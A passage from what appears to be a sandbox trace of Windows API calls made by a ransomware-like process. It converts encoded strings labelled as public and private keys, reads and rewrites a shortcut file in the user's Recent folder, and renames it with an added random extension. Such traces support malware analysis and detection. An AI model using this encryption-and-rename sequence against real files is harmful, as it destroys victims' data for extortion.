p7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", lpUsedDefaultChar=0x0) returned 2469 [0082.875] GetCurrentThreadId () returned 0xa30 [0082.875] GetCurrentThreadId () returned 0xa30 [0082.875] GetCurrentThreadId () returned 0xa30 [0082.876] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0082.876] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f848fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0082.876] GetCurrentThreadId () returned 0xa30 [0082.876] GetCurrentThreadId () returned 0xa30 [0082.876] GetCurrentThreadId () returned 0xa30 [0082.876] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\q9PYuuDYFbL.flv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\q9pyuudyfbl.flv.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0082.876] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0082.876] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0082.876] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x441 [0082.877] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0082.877] ReadFile (in: hFile=0x124, lpBuffer=0x1f8c700, nNumberOfBytesToRead=0x441, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1f8c700*, lpNumberOfBytesRead=0x18f96c*=0x441, lpOverlapped=0x0) returned 1 [0082.878] CloseHandle (hObject=0x124) returned 1 [0082.878] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\q9PYuuDYFbL.flv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\q9pyuudyfbl.flv.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0082.879] WriteFile (in: hFile=0x124, lpBuffer=0x1f8e730*, nNumberOfBytesToWrite=0x441, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f8e730*, lpNumberOfBytesWritten=0x18f978*=0x441, lpOverlapped=0x0) returned 1 [0082.881] CloseHandle (hObject=0x124) returned 1 [0082.882] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\q9PYuuDYFbL.flv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\q9pyuudyfbl.flv.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\q9PYuuDYFbL.flv.lnk.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\q9pyuudyfbl.flv.lnk.zv7un")) returned 1 [0082.883] GetCurrentThreadId () returned 0xa30 [0082.883] GetCurrentThreadId () returned 0xa30 [0082.884] GetCurrentThreadId () returned 0xa30 [0082.884] GetCurrentThreadId () returned 0xa30 [0082.884] GetCurrentThreadId () returned 0xa30 [0082.884] GetCurrentThreadId () returned 0xa30 [0082.884] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe12d4300, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe12d4300, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe12d4300, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x415, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="QJ pbgGlPls4Oy5IY.lnk", cAlternateFileName="QJPBGG~1.LNK")) returned 1 [0082.884] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0082.884] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0082.884] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\QJ pbgGlPls4Oy5IY.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\qj pbgglpls4oy5iy.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe12d4300, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe12d4300, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe12d4300, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x415)) returned 1 [0082.884] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\QJ pbgGlPls4Oy5IY.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\qj pbgglpls4oy5iy.lnk")) returned 0x20 [0082.884] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\QJ pbgGlPls4Oy5IY.lnk", dwFileAttributes=0x80) returned 1 [0082.886] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0082.887] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f7389c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0082.888] GetCurrentThreadId () returned 0xa30 [0082.888] GetCurrentThreadId () returned 0xa30 [0082.888] GetCurrentThreadId () returned 0xa30 [0082.889] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 